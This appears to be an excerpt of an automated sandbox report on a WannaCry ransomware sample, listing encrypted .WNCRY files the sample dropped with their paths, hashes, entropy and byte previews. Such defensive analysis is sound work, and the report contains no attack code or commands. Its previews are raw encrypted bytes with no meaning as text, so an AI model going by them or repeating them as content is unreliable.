                                                                                                                        Preview:WANACRY!.....]t_...........:x.".x..].6E|o@..NB.(..B[Z.O....?..-##...a.%..=..:.(.....)......,....TQ........'oZe...=....l,.......6.}.U.~...f..K.Y..;...$..J...E<.l.b....|9C..U.f.g..?.S8.<w.....a.W;r....1C..?..|L..|..=.T7..p..#.....zP...E.. R..Io.9 ..q......._.........d=.,...G.......p...T!........7.h.z...........m5?...X...:.....5...jV....X..F|.v.|......IB.~OL....A[.. .. .l..k...D"..#uH.Z.n..n.6jn.O.)j..X.!.=tI...q.S/...dD..G...%.k2....O..,..'....&.c?..(....A(.'r.Q.Z..F.Qv..e.&WGA...^O.\P..6".$G.h.o...&......j.5m.2..".~x.DG..4.DEO7u.,6....I.'..C.j.(v.w..uXJ.....h.y..e...&.=(..s..o......0...fO.N....\.....H&w...0'..z....=........#pL....^5.U:U..v...F../eO.O.......c..z.?.R...A..p[......3O.......I.k@..X..I.,..t.g.0}...6.P.Y..9.....t3.mT....xWG.W...qa........w..A..........l2..%.,Xm'.L.....U.......{..*aP&... .v...x&5.+jd..........P.U....O>[..,K.2z...*.*.](.)...8.~.v^..=F..-j-.....h.....n...'..].1...7.*..h`....D..F..R..w.;.....FMZ|qJ.:..8h.t..

                                                                                                                        C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\INetCache\RTYRAKQ2\th[1].jpg.WNCRY (copy)

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):3384
                                                                                                                        Entropy (8bit):7.946013403937018
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:96:oagJ0SHpjIcpx1jjGq9/8EUsMAsHaq3nx:BGpjTx1/L/83sXs6Onx
                                                                                                                        MD5:0D47237F39AAF15AA2FB0416B8536328
                                                                                                                        SHA1:758094BBFF7E911902220A8F5A1B05B96EBF3257
                                                                                                                        SHA-256:264D984CC1A7B2BB27CBD79C587A63490DDBCA2998C3AA5C4FB6F5F8CF1E7182
                                                                                                                        SHA-512:E6FE84ABC27CEB664D3416F48663791766D606A564016539F29DAA55976778287F9D850C442923C60E92FF8E13F6535D8DC8049D4BA01D45B110FBC34AF7D315
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!.....Z.U...c..D.Q.RvJ.:..wU.5.d.....[CY........A...u.W....].I?K.Q..#Oaf....q...Q/Q8..Y-....+.....z.HH6...7.rd..FE.i.<...^.{.d/i..r.....$..P..,..S.E.......f=.s...Q.:.w...8.Z.,..-H/M..9;...W.Y...F...O.Lv...)....8".....e..^..R(6G.0...?."...).................e....}G}-.C.eg..t.......FlQ...,.C....1...c..CnI.....^#.u^#1~.m.n.....ypjGx.O$.-.iv4.eN.#e.R.+.H..S.~~Z.Lx.....[t...zlo....V....h@.T.e{q.M.@.:K>.?..ea...~..G...~.$(...:.+E.t.c.L{..R.. .{.X...D.l.}.X.>.'9.M-.]|..).{$NW.O/...D...{PW1bI.j....#.fif.aDu......_Y.[a.gR>./A.......wG".2z...o..`J.P......?.).!y.U.rU...X3..l.../..J...1....%...f....-.$7.3..1....8..n{................G...y....L..5..*:..i.Xs&....?.....^.$5.2.(o.DK...1.1..e.-H..J....Q.0SV<A..........n.J].E........2...+.R_.AR)....z...<....V...j.8..8...nN...s.u.|..}.dy...l...`...\&...Y......@Qm..j&s.B...B....t....&.......KU...?..p".#@c @... ...pc)~...lf;.Hh.~>..t.....@.. .32;...O...$......f.F...-%W..h\,.]..3...5L.......#z>.P9

                                                                                                                        C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\SettingsCache.txt.WNCRY (copy)

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):690472
                                                                                                                        Entropy (8bit):7.9997155310988095
                                                                                                                        Encrypted:true
                                                                                                                        SSDEEP:12288:XLxd9Gt+ZUVCxHm/Z+4CrZUbMFp+3UWQUKcEspVKyJzb6HZlyJWfZFZ9uvJCo6Fl:XLrIyUVFRDCrAM+O5c1pdJzO5l/rfgCb
                                                                                                                        MD5:8D0D74AFB3B0F498C80305483A24985B
                                                                                                                        SHA1:5B45509BD7EB862A2CB1C2423762A85F5AB9E59A
                                                                                                                        SHA-256:3996E8F77FB8A104839730393B217D95833D6DE39D5A5D053C55C2594840A659
                                                                                                                        SHA-512:07EB5C996D6FABA6E947C220A7636530140675F4D54725C223FE1AB92247382BB1450552DCDD6E837CF88E35337AC60C21E5D0E61680694DF9109AB1CB8C24AC
                                                                                                                        Malicious:true
                                                                                                                        Preview:WANACRY!.....4rb.|#.$...d!. .J}..6d..j.;Jn....v.OQ.p.+,jY.lNQ..m....iP.1.k.j...8.6...Y;.Wn.P....._.._9..E/..r..`.6.'..#.|...U......./.<3+.TF.;...P.E.....yN.n...='t."8bq.D.Y.#.V..u.Ca...u.w...@..7K\.b#Pd...g.)y........p..7.;w..O..y..0j.Y.6j..z..{w...F.om...=@.!c............OV=..G..=../.\.{b....9...E.fE'..k...Ee.n.._S.[3.~......b4...8.v.S_.1.0......c.K..uo.<..C....;C..".p....Iu-[8.=.5.M...{C....u..D....W.).!oa.L..L...U....>h3....a.X..S.....;..^.Qh...x:.G..4~.-[.e.GY.;..a>..Z..LFZ.#3?&.e....,.....w.b.q,^..k...;...]`.A..SW..=.(.su'~....R.F..MG........~.I....)6......^d."1f.....u....t.L>5..0.w.K[...=.{T...dJ.kS.Qr...\....~..../..)nNt.a.?.^.W....L.LaJI..q...n...i.....bIT.{..y?....0.k...A/f.$.!.T.X.a-...\+...!.>..3...r7.\q....^.Fl.{%......[......q.7..y.<....{...Q.......g......t..0.%..R..j...4..WQM.Y...}.m..yX.7.:kT..o.N.8T.]..A..0.F[..d'.|3.y....V.4-.p....F}r=.+p!i#.....0M5.k....8...hl.....+....<...qK..b....(B..)....6w.c: ......\...}...>&....5.[...30f....8

                                                                                                                        C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\Flighting\FlightingLogging.txt.WNCRY (copy)

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):3352
                                                                                                                        Entropy (8bit):7.930802682380753
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:96:oH8mJ8D33gEQSedIckevUvuC4/qDQwTI9bNCeQ0Jp:y8mJQlDtfUFcrU
                                                                                                                        MD5:E3D1BB6D13B6E87999F523E5A3C4270B
                                                                                                                        SHA1:0FCE2317AEFBDA03553FC947D111EF9DD5E31CB8
                                                                                                                        SHA-256:2B73062ADE26C23B6DF22F4B72A2860236792DD31DC2D116711E591350685328
                                                                                                                        SHA-512:A86E84E3771FCFD285567B93FDE2CED8C3A22BCFB1AAAEBD9309DE606F8F5EB7D2A1F9315CBE327051EFBAC8C403519BD268EABD5B7981DB899CD76E07304EA5
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!.......G..........V.=.Y-.........W..H,&.y\......<Qp6.....-=!41..$.A/.;....9.....=.V.............k(.3...$..^.Q..Z..Z.....J..#Jjt..D.E0...O5{)......Y.E....)6yh..,J..lE[q.._%......<.}..fx.....}..qp.P-.A+...$oz#[ek.M.....".@[..Nx....^.d....)...dc.&............9..:.....b...*..J.....x..."..*...P.q...,S....PQ>.-..K.#....P..<v.2[...B..I..r..m...te.{tg.#|..\.v..d.m.$F...i<.-&.{....D.........n/..=..HF.i..#._..H..?_..e..r.#..Tg,.....XrNYR.3....(.S....W...n.h&.........e.........fL....F.C.5-..........M<,._.A.......{.hf.B3...&..w%;...35D..@..z.%...~.W.hIs.\..../.0...3K.y.D...ks...Tf..*.%.3.'....wJ&..5._*..-...h-.(....H yEf......s...t.D.......M&..#..&.u..e...5..$"....d..(g&U...Wp....V.C[...`..T$....*..Qv... .-.y.a-.\.)..U.CZ.L...-.'...........$<.92..C..u.*0,..#.......m.2.J{]...P..*.. .-..Q....#NYT.^..|..O&Q..z..P.nVq%..M.Vx...\?..Tj.d.._u....?.0hf............pM.4..g....g/.R..=j......'m..ke;..[...."0.....be.2.......'l^..{H..S.0.H...^.5c^

                                                                                                                        C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133763994789466116.txt.WNCRY (copy)

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):113240
                                                                                                                        Entropy (8bit):7.9983980511122645
                                                                                                                        Encrypted:true
                                                                                                                        SSDEEP:3072:vw0HnGe4CQUfNqzGOHg8SiZXju5J/rq/IzyF22NJ:Y0HnGTbUfEDDFpju5tqr
                                                                                                                        MD5:F7A0CC84117D1E3EEC3831043CB8A7A0
                                                                                                                        SHA1:158CA18BF54E935FAD3E8A5DEE960276612FE2D9
                                                                                                                        SHA-256:5C558917135D918DE95B4C62EFED429582A4B0BFB4FB6A82F73DD296A8766D91
                                                                                                                        SHA-512:5360B12E5E514E132EAB0CD9E3E663169348F0954EB3B8CA8B6EDCBAE6DF6AA5B309B9437B392782F24526CCEE75BE5B6305B78BB8F9C7F970D8E5DAB7B0BD60
                                                                                                                        Malicious:true
                                                                                                                        Preview:WANACRY!.......Q.wQX....0.2..yR.5..XS..q....}.{......iV.RU.....&../.......u....43.a...A....P...:.9A.a:/...D...4..+...w_J6.r..p.6E.+. .-..*.vMlB....b.(..{..0...H.=......Ant......y..VS..._....Mu.0Z6...rsj|cn..$,.5`..=.".|...T!..;..M.\V..et/+p..G...AF[-.T.L.........<.......5x.-.a....T.z....+Y2..'"..?MX.n+T..F.J..,..4m.4..k..T..c@*..Z.=..2...i.X.0.f.`.W.r.wou.D}.Q..G.-.....|.94.!......N..X..d...7.B..b...q..@...i3...T[v[.m=.n.Z.....@.[(^..Z......l.C**c...D..CD..4...}..........a....@..iWt..Z......e.x.VO..l..X..`.e...G..9..4....e.N......z...0..x...mk=.....'./M............0w.@A.M#........c.9x.....T0..%...WM-.1Cs.~/..*+....L.d...>d..n`..c..L.s.~.1..............].@Odg.......DFp....F8...Fw...D..T..z..N.._..!.l.*.tZ&...=....R.\..-....1Y...uy.%.A.h*.I....zI..l:.....5$.w......c9P....;......)..X}.G.I..Kq....a..&.x...r...*..-oq.p."+.6Th.+T..-..6...4..VBd...k.2...L..h.....~..\..Al..v...)..N ...,.L.51>..0"..g..,..0-..,...n...].|^..Q.q.t4C..L...{...2#)

                                                                                                                        C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133808174611432328.txt.WNCRY (copy)

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):113240
                                                                                                                        Entropy (8bit):7.99837051778171
                                                                                                                        Encrypted:true
                                                                                                                        SSDEEP:3072:ScPDsn+4doMOMgFqg1RmFlQJqViv4E6CDmCZlB4pC4:7wmMO/qgvfgrCDXLBCz
                                                                                                                        MD5:DE3205BF188156DDE91275192D8EA3FE
                                                                                                                        SHA1:44FF2AA806157776A5EF7AC42F8C0FBE76C05EE9
                                                                                                                        SHA-256:BB3138B52B920E8BDE8365B567A11A757D79282C22EEF281A29926DF222BB47B
                                                                                                                        SHA-512:6C4286EC6D60B0EC7A39E0E8853512251617C8E2DE249D798AE22F5FD6FC02D49462E9EAA353932B90917D2ED88D5773F2646DEB9EB200A0D42D16CEC264E112
                                                                                                                        Malicious:true
                                                                                                                        Preview:WANACRY!....;...V^S...%7f@LU....$.R..z.t.<.}..7.2.d.z.{....0.......Tu.].s......x=...SG.."A.K.=.g....3{.N........t7..6...a[X...^..H.....a..S..+nJ....3.(.:...2..N... ....s.x....p?n...2./l..g.?l.H..... 6P.-....B..~~.+u_ri>0..$.<."....#......w.M./j..........yp..v....<........N...d......H.7..|.. RZ...5..lT.g.C.%/.k@XRP.</....J/..A.I..8... ....P...L.7`.BV..O......w.Vk, ...g....Y.qG.......b ..Tm.....G...E.U=eGK.........7.t........=.....6C...w..J..N.Jn..I.....#.O...^.%.........0.J..ztK....d.Q..i.....YN6......D ys0M..?..X........Z..}~.[./YHT.Ge..nrs.".3..0..l.5...s.......Nu.....J...K..ef...7AD.|d.F^.7.J.....U.#..E.q..^.~/..]..d.v.......Q..r.\....+.7...}.M....0....^...W#.5.t...M;_.......L...^i.6]...@.dZYHq.wB....)..-.j.0...5...9..":z..K.Ne..kX..s..!....D.RU..X.~..uW.fDw..]..^].......gc..I.@.i...@k........l.Y..8'#.. ..[nyw....\5._.o......ragB......+.mev.B>X`!.p..H.A@w.2$..U.@.p..{.S......\...f.`F9.pz...4....q...l...".."q'(8. .>B..r.A...!.E.d(..K.<<..h..

                                                                                                                        C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133808175717819293.txt.WNCRY (copy)

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):111960
                                                                                                                        Entropy (8bit):7.998519977257995
                                                                                                                        Encrypted:true
                                                                                                                        SSDEEP:3072:lrZOh+pRgIUzABtODqtUu9Lx7xKRTZGyJ28P3u99:lch+p7Zq+UoLlxcVfvuz
                                                                                                                        MD5:9E1FE65D5BEB75FF864B4138E1276F7E
                                                                                                                        SHA1:9C6F94649E8E2FF7EBBDB27B6A0194C8600B7050
                                                                                                                        SHA-256:86F04ED5BB17A0A542C50651F5F18C7EFF6D5FE1AEDC762DCD7DA3561837FD92
                                                                                                                        SHA-512:B12E5EDECF33515E935B8B608F8110E64E3EFF9E7493420284EC8035C5F5309545160868F3CEF1E33C8E3651F8AFD41556D19D2A72F5D8BFDA5FE37A50D423D5
                                                                                                                        Malicious:true
                                                                                                                        Preview:WANACRY!....<..M..=."..."@..i...$RD.Q..4.ii...N....q..%....9.......%.e..W..#..lB.!....i....._f..P.M......Ql.q..C..[..m..dz...-..j.i..V3..mM)_....q.......I,....X.*3.]...S...N.@u$.@!..`.*e._O.A..CQ70"..H.k}C.y.x.|.....C..i..... .........9}.-..Y.u.#-.:<.3....<........K...h.Qod.%.h$,........H.p8.).*.}s|.v..Y.S.Z.d9!...6`<.g......uG..P.O.#.a.pA.J..&Wb.Az...nN%R....[.....[.U......uc.WjDB=..53.[r(...O......E.H.\ d5...'Ad.F.8....71.. h.rR.[(e...A. .^X.g.Zn.t...6.>....F]NF.0.m7.......K....O-:.A}.).&..5[G]...M...V..@..c-.t.B.3.t...~.)..?^}[.o.{.....Qk..@....IbIt..z.F...{iz..5....5.'F~V....*bk..K...0.....:*..v%g.#\.I.2.w..{.v&..m.o.7.x.v..).#.6.g...^.0.....wE'l.?......b..b.<l.Zy......Y.8.u....(......S7...f.G.!..5...E.u..WE....~.f..*.pj..e.I.0L.i.r... .Cp.S...(v.. M.{S.#ptz.r..AR..Zp6.9'.|.....s.H'..Ot.(z.Y...i...R...,.....U.Q...z..N.m.3.'......".Z?.......\O. !...ybm\.Q:...w#R.P....7..K.?H.i.K.OP.....q......o-..r....Ov.vs..H.%b....6..K.j...r.bW.=.L

                                                                                                                        C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133808392021723241.txt.WNCRY (copy)

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):111960
                                                                                                                        Entropy (8bit):7.9985057398489054
                                                                                                                        Encrypted:true
                                                                                                                        SSDEEP:3072:sAGE4gnBWo14m7qLz5ph/DFCpnlRDcmszPWs6:1/nOBDvKl9JszOh
                                                                                                                        MD5:E2E5F6B93BC7ABB4E90D728F025D67D6
                                                                                                                        SHA1:5A0ED2CB0B084A83544F352C60B4D69EB0FF9D38
                                                                                                                        SHA-256:52F803431485568BFC4ECBBBAED963FF3449C3F7DD74C850D6A1FB2B8FB186C3
                                                                                                                        SHA-512:80A3B35F9FB78A830A2E998ACA0E6BFA474011C2AA6398BE87B7EBBE328AF566F82D545D7CD17E7EDA4C1AA38CED2471994B1A03435C0CA4665AF980FCB51201
                                                                                                                        Malicious:true
                                                                                                                        Preview:WANACRY!.....bI.T..G.........M.,.n...-r;.........ax..[.]E.h....YP..W.s....I.'-.>.]I.G.Y..g.@{.....B80..v.....c....(..vA.,.g...dOl...V~..D[......m.O...f.E.....zT..6S.W.]{..Y.m!..[.*.H....'.....%x.#3.L[S.c..$S.._.J....o.x;=_.|.......3S..cE.N.w.Z.....6.]?7h......<........6N.o..,...I..._..[.51.;..kl.z...+.!..(.!...Q..iY...]..$L..p<.>?..%G.:.5.Emv...-f........Mr...H...h-._P.A.X..qabh.ZT9.......a)...."<...MQ<.T.....1.mhF.....q_. f....8.s.r......I.-.Pz<.7....X......W.{....r..K..I....M...:....p.l..y%L...0...Q.r{f"..i.|px|..Qj-..K;z/.'.-3..y...lwL.F.=.Y..(..].X....g.kE..=O?k..$.%s..;.dg.u......K........`C.n..;v.....@K2....C......0Vq..^.....I.G......#..L.....MXka8!=....h..?.....c\.6..zf.k.=..AC'wd.T.1...i0.....T.....gO6.E.K!.P.....O'......<...9$..E#....w$..A...>.7...}...#..m5.=......C..4../..., ..|.!......e%.&)..{....4........SY..~..Y4.zY%.....l.)..QG....@...9^....xP....qT.h...OI+m..D,....c...O...n.?y.o....*.#.T.>Xa.Hi.....o.~..t.~OV.&..lN....c.

                                                                                                                        C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.OneConnect_8wekyb3d8bbwe\LocalState\DiagOutputDir\OneConnect.PostInstallationTask08_17_13_19_38_8611.txt.WNCRY (copy)

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1880
                                                                                                                        Entropy (8bit):7.881423879096287
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:48:bkVPubiZpg5EIMClOrXS8Q6CKLpZp54BIilObe:oVPubiIy/C8QnKN4
                                                                                                                        MD5:A8B3B4EACD6CDF02855752C81FDD34FE
                                                                                                                        SHA1:472A989D5A7A148CE9320E608645A348AE87DE07
                                                                                                                        SHA-256:108C618C43652330D6F9E920C1BB3C3A244CC58E079198A84B334ADF75E63B39
                                                                                                                        SHA-512:A0FA0466BDC42A3EC453EBCFE6D99B46B574432224BC3200A6CAB3FEBA86E3F7DC326F13F6F26596FECDB34EBD311846415610D7A5D36A4E87CB6B19D9498D3C
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!..../.B./.z..~.&..`<..*eHH...:.&...K.s.=.0.......z)..\h-.#.h..3.J...^...mA.7.h'...pr...Y2...H+....q.._p(.x...Y...kb.+k'.Pkrc^..{p.#...d.(\9.......F.Gr.a(4r.,}...=....2/....k..#"...EY.X...bXU..;.c.).....W.5..S......k..m.w,O....B....Q....bc.G....tT.....5.........qe.....a....S)l.B.Js.<.lb..x}.Iq...o0.t.~.G.J4.-...c.V.^S....Z........I..RY];.r-....'-..7....@..>S&0>.XbZb@...X/fr.<LZ....+YSAzJ.9.i...Z.7...gD...28...Tg...}..g..82.W.B"Bha.K..U........._1..=*}:O[uAz.......E..#....?P)......E.*..G.R7F.G..E\..c...$ `..,.... ..@.... ..t....[...........$....b..lO..J.4[w.6...6U.....~...v;..p.......T...!..e.Dt..]B...a ... Im<....^..q..h1..uj......Iy.-...-p1.2.d..<MMF.........Jf.W#.G....o.....0V.l.(. >...U.-.&..z.....^.()..b...b.Y.Q...o...J...rQB.-.....{...%HK;...?8..?...s.D..p...S.....8...3[..s......#(...V..D.j..r.N.8l...go.r..".W.....GA.t .B..6{.x..D.........M.C.~.....]D....w@....M.O.....W...?.~...u.<....g.Zu...".>IUo......<N1....:K...../..

                                                                                                                        C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.OneConnect_8wekyb3d8bbwe\LocalState\DiagOutputDir\OneConnect.PostInstallationTask08_17_13_50_48_4321.txt.WNCRY (copy)

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1944
                                                                                                                        Entropy (8bit):7.892371659268813
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:48:bkup1176xIlexDrJO8yD3p21K2ZQ5oQa27KR:oud2mg9c8S2TJR
                                                                                                                        MD5:395CE5FAFF07F6AFD4DCF09208218C5B
                                                                                                                        SHA1:5FE5D8CFE16D445CE7BD22832C30B574C5FB9728
                                                                                                                        SHA-256:A4F1D8466A035766430E26809A241F06F200F7306CE217AA8187D30B8B5B6815
                                                                                                                        SHA-512:A52825ADC556E3F6E2BCC4F422E78322BEA802C59C8FD37C352F99D6ED2C31C67877AAE97172CD142AB53EDD33DC1766EFD4B69845163C48A43208BA6BDA68CC
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!.....=...+rJ{X.b6....>....%.e..-..C......*..;5....~.........Cm6x.. 3j=..X..hm.........%g..LZ...?LXG....;m.Yh......?._K54.5.U(.eRxH...Q...\I0..*R..8S.0o./.+....+v..q........p.\.X...r.P.>.F.st.''.<9..h.u....a.a./..y..azX....>.K...ye.@.,..S...C..d......s...........9A..O$...|....r..q.i....;....& .FA)Hj....G.J...J.;p....S.........~H...iWu..t5...7..%D.i.]....0..A......x....*`0....e}..v.j,....e..D.9.sc.mY..9.VP.KLp.Fq..G..ol.]T..T. Y.E..{.2...%...ZS.\|..m...m.0...P^..1(..a..x.ZBI.*(...!Ni......,&g.... ..S...J...Q...0.>...<...#..<..(..*7C.v*..".X.5{..\..{].P....'H..dj0$..../.D..,..X!?Xrl.."V.Dv...yXP....(.H.h.T.f...n.[.......O.^._.....jtHc.henh....=>e.i....}.x.h..t8/..D...L7X..pk.....;...].!Wm.x..!%.u.b).M*_...Y.N....7.O.(3.v....q...T.g..>..w..Az..0...Wd&~.sm.C2.U.`u......!uY;.H.....}...@.}.0=..b5.pQ.^.......-).UL..w....b...Q..f..e.V..^.Wy....K%~....9.'..T'.G.......<..Y...uZ..e.....QS.z.<.oc..2..h.v..*....'../ve.. ...6...X^..%.!....Bi...&..

                                                                                                                        C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.OneConnect_8wekyb3d8bbwe\LocalState\DiagOutputDir\OneConnect.PostInstallationTask08_18_17_07_25_4954.txt.WNCRY (copy)

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1576
                                                                                                                        Entropy (8bit):7.864513498374658
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:48:bkaPEn+In5qzAkd6kD0gNCKZZZBS03NQ4zNaA//9p3t:oa556klNzZ803S4JP//9p9
                                                                                                                        MD5:1AA190D0FC0355B066EF281004CE20AA
                                                                                                                        SHA1:35DF8EC715E567A070D6D5647B7F0E0FAF326377
                                                                                                                        SHA-256:0FA08A52ECDA8FCD24ECF249BF1566014B35A86FFD25B248C3EE3C4E12510B20
                                                                                                                        SHA-512:3617A673919FFE68947A551A296138382AFA020FDB2C41F6DA89BD4289FC9C929E595F277313E00B1592B6BB9276F79A8DB3D7B852ABA0A50206DBF746934B5E
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!.....|.s..1\............bV.....f.u..J..z3?.. J.A.l.#..T.U....;....6....'.t.5.....u.. Yz.4...{....6`.0.6.&.i..T.....RsT...C..=..c_P..xPZ....J.0....f1..Ul....$...nm..>H..n.5W...........j...Q..NU............I+.Z..k..R..m....vg(.....LU..r..../\.o.............j.V.O..>.R..?.M....~O....2.....v<D;.....L.=.h[&.x.g/...wG|...g..G.._.?......k.F.+.1....d....x`.1...Xi...s.T.93h.....W#3.z;..;p..u@...n$.}........5../..Oi..9....?..q..y.......J+.q+RV.P....|..y.......b$Rb...90.&...E.x...fg".NAl.&.68...C..Vs.A.%...ns....R..\X...e.f.r@...$....e...+..k3........E..........).Qt..e..:O.Zm..{..8;m.IG.>.D..wD...O.8.A...`....j2......ey.|..HD..9.*...7.v....O.k....";....eb..4...H.[!..?..r=D.|......IO.....,.g|v.'.......t.m93.}..M'..r.\...1.!..._...kC.....o.N~...l^e.p.....4..............Q....;.(..}...I.{...N.[.|./.9(..........r5L....2..,..(..y....0.H.h....2...o.F..q? ig......f..[.E.._..[^V.O...U.nw:l.!|.M.<..2fG....&XB MQ.4V..F.?..Ey...K.. u.~.'K..j..B....]...B.

                                                                                                                        C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{4969e51d-173c-4e79-9b57-3f39ed7bcf3f}\appsglobals.txt.WNCRY (copy)

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):339640
                                                                                                                        Entropy (8bit):7.999469318692194
                                                                                                                        Encrypted:true
                                                                                                                        SSDEEP:6144:ahjNRbQSoC69QS/WKXXm/uGQal0QE/tKZ4glEgzpkm7pU+ri3+Kq:a121/n2ZrEEZ4gFzp3pUj3Xq
                                                                                                                        MD5:12A15C85ED76D1A163CE89F0EDB5B551
                                                                                                                        SHA1:64266A87D758D7F6F2ECE2FF02004DD3224B6236
                                                                                                                        SHA-256:3EC8BF52AAA8F75A412A08744F73F3CDFE24814D8F628D34A475B787040611AB
                                                                                                                        SHA-512:2C19073A9E95A0FE5D8326C8DAD307C146CB69A1F647B53B4673D2BF5817AB7169FC1398AA6B69096B2B556053790F97E5EFE11FF13CE0C1149CE082A4FCE1DA
                                                                                                                        Malicious:true
                                                                                                                        Preview:WANACRY!...... .r.u4F..rXn[....u.o...g..:.....$@.|+.W$.3...e...gQC........F.n......6{.o.z.\D..a...(.l..].......1..q.*..2.@Gp..<.T..k.....b.|....@.-.Ov......2....j...........w..d...b.yo.T.88}.3........&.A......J...t..G=L.j.a.o&`..*.ry..k..}.Sk.fd.-l.+2.....A.....-........T`..2Rp7Q.T.......M.......R..}Q(.?...._._ ..o<..11.g..7.C................-U...>CQMu._./ ..@#.>.:N..2...._.Mr.....'.`R...)\.i#..H..&...c.6`d...ghs.)-..=^+K..1.{.3... ..B..l.6/~.....O.sY.2$3..23K.MZ.0...(....2.wSg.D+1.S*..Lz~."...{.\..).-.....x.E....T..U[.X..Ko...Ws....<......=.2....Z.....z[K.g......+...)C.].V....K..G.TN.t....'3W...q.~x..#..p..../...U..i...+;.._.Y..B.<...!U..D,..a@..#..5....*.w....^......(...+qN.U......=....%.f4YaFYu..fa...p...@G.Q..^.xr...R0L.B....Lq.....sHG....F;...G.....+..t....&9J..... .....}......j"f|y.....@...b..../>:.qP...3...=@..tl..l..E...W@.~...x.+.?}....K..A.....e.o.D.T.d.C.$7"..E.:AB.I8..v...=a..Gn?...<.L.A...q......Y..:....+c).W.._.^i....h..Y.?...

                                                                                                                        C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{4969e51d-173c-4e79-9b57-3f39ed7bcf3f}\appssynonyms.txt.WNCRY (copy)

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):383288
                                                                                                                        Entropy (8bit):7.999484631810734
                                                                                                                        Encrypted:true
                                                                                                                        SSDEEP:6144:+jdTNeOG0XvwGRjMWLcAq7J/dG1yMKetVPaIBe58R2mN4Ybfowsh1FeY/Tz7wQmK:+jdTUsRjM17J/dG1v2IsQN4mgpveY37v
                                                                                                                        MD5:0191901CF9F9A0D5357A945BCC5AB194
                                                                                                                        SHA1:909244141FF826888A60EE714D08353DFA2B77D9
                                                                                                                        SHA-256:F781255BE5370C1CDD669BD6954F5C3031702322CCFE49139DD8B6F26F418CA8
                                                                                                                        SHA-512:64F15927271F866AD3E4CF589E26F7A76D354933005166A80AC6BD00C7374C78DA00E7C8D59DE38D434D0A988A3AE4298B21009688A3E946816BAE15759DC6BC
                                                                                                                        Malicious:true
